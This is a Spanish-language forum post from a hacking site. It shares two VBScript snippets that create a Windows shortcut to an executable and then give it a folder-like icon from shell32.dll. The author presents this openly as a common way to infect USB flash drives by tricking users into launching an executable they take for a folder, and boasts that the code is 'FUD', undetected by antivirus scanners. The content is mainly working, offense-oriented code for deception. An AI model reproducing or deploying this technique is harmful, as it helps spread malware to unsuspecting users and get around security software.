Underc0de - Hacking y seguridad informática

Programación Scripting => Otros lenguajes Scripting => Mensaje iniciado por: 79137913 en Enero 04, 2016, 09:47:29 am

Título: [VBS] Crear link y cambiarle el icono.
Publicado por: 79137913 en Enero 04, 2016, 09:47:29 am
HOLA!!!

Tecnica muy utilizada para infectar memorias flash este codigo permitira crear un link desde un path determinado y cambiarle el icono.

Se puede utilizar para que el usuario ejecute un ejecutable pensando que es una carpeta por ejemplo.

Codigo 1:

Código: Visual Basic
  1. 'CREAR ACCESO DIRECTO:
  2. Set objShell = WScript.CreateObject("WScript.Shell")
  3. Set link= objShell.CreateShortcut("C:\ArchivoMalicioso.lnk")
  4. link.TargetPath = "C:\Ejecutable.exe"
  5. link.Description = "Archivo malicioso"
  6. link.Save

Codigo 2:

Código: Visual Basic
  1. 'CAMBIAR ICONO DE UN ACCESO DIRECTO
  2.  
  3. Const DESKTOP = &H10&
  4.  
  5. Set objShell = CreateObject("Shell.Application")
  6.  
  7. 'SELECCIONAMOS LA CARPETA
  8. Set objFolder = objShell.NameSpace("c:\")
  9. 'SELECCIONAMOS EL ARCHIVO DE ACCESO DIRECTO
  10. Set objFolderItem = objFolder.ParseName("ArchivoMalicioso.lnk")
  11. Set objShortcut = objFolderItem.GetLink
  12.  
  13. 'ELEGIMOS EL ICONO 13 DE SHELL32.DLL
  14. objShortcut.SetIconLocation "C:\Windows\System32\SHELL32.dll", 13
  15. objShortcut.Save

Bueno en cuanto a como elegir el icono utilizamos el archivo shell32.dll el icono 13, para saber que icono es el 13 o el numero que querramos abrimos el explorador de iconos y contamos de la siguiente manera:
(http://i.imgur.com/xzZGvC7.jpg)

Como veran el icono elegido es el que tiene fondo azul. (el que esta seleccionado en la imagen).

Este codigo es FUD.
(http://NoDistribute.com/result/image/iwXvlsK7Fen5poW0RkTP.png)

GRACIAS POR LEER!!!